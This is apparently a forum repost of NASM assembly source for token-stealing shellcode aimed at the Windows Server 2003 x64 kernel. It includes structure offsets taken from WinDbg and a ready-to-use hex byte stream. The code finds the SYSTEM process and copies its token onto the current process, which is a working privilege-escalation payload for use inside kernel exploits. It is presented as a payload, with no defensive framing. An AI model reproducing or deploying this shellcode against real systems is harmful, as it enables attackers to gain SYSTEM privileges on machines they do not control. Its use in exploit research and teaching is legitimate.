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- ;token stealing shellcode Win 2003 x64
- ;based on the widely available x86 version
- ;syntax for NASM
- ;Author: Csaba Fitzl, @theevilbit
-
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;important structures and offsets;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-
- ;kd> dt -r1 nt!_TEB
- ; +0x110 SystemReserved1 : [54] Ptr64 Void
- ;??????+0x078 KTHREAD <----- NOT DOCUMENTED, can't get it from WINDBG directly
-
- ;kd> dt -r1 nt!_KTHREAD
- ; +0x048 ApcState : _KAPC_STATE
- ; +0x000 ApcListHead : [2] _LIST_ENTRY
- ; +0x020 Process : Ptr64 _KPROCESS
-
- ;kd> dt -r1 nt!_EPROCESS
- ; +0x0d8 UniqueProcessId : Ptr64 Void
- ; +0x0e0 ActiveProcessLinks : _LIST_ENTRY
- ; +0x000 Flink : Ptr64 _LIST_ENTRY
- ; +0x008 Blink : Ptr64 _LIST_ENTRY
- ; +0x160 Token : _EX_FAST_REF
- ; +0x000 Object : Ptr64 Void
- ; +0x000 RefCnt : Pos 0, 4 Bits
- ; +0x000 Value : Uint8B
-
- BITS 64
-
- global start
-
- section .text
-
- start:
- mov rax, [gs:0x188] ;Get current ETHREAD in
- mov rax, [rax+0x68] ;Get current EPROCESS address
- mov rcx, rax ;Copy current EPROCESS address to RCX
-
- find_system_process:
- mov rax, [rax+0xe0] ;Next EPROCESS ActiveProcessLinks.Flink
- sub rax, 0xe0 ;Go to the beginning of the EPROCESS structure
- mov r9 , [rax+0xd8] ;Copy PID to R9
- cmp r9 , 0x4 ;Compare R9 to SYSTEM PID (=4)
- jnz short find_system_process ;If not SYSTEM got to next EPROCESS
-
- stealing:
- mov rdx, [rax+0x160] ;Copy SYSTEM process token address to RDX
- mov [rcx+0x160], rdx ;Steal token with overwriting our current process's token address
- retn 0x10
-
- ;byte stream:
- ;"\x65\x48\x8b\x04\x25\x88\x01\x00\x00\x48\x8b\x40\x68\x48\x89\xc1"
- ;"\x48\x8b\x80\xe0\x00\x00\x00\x48\x2d\xe0\x00\x00\x00\x4c\x8b\x88"
- ;"\xd8\x00\x00\x00\x49\x83\xf9\x04\x75\xe6\x48\x8b\x90\x60\x01\x00"
- ;"\x00\x48\x89\x91\x60\x01\x00\x00\xc2\x10\x00"
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发表于 2015-8-26 09:53:27
发表于 2015-8-26 10:23:46
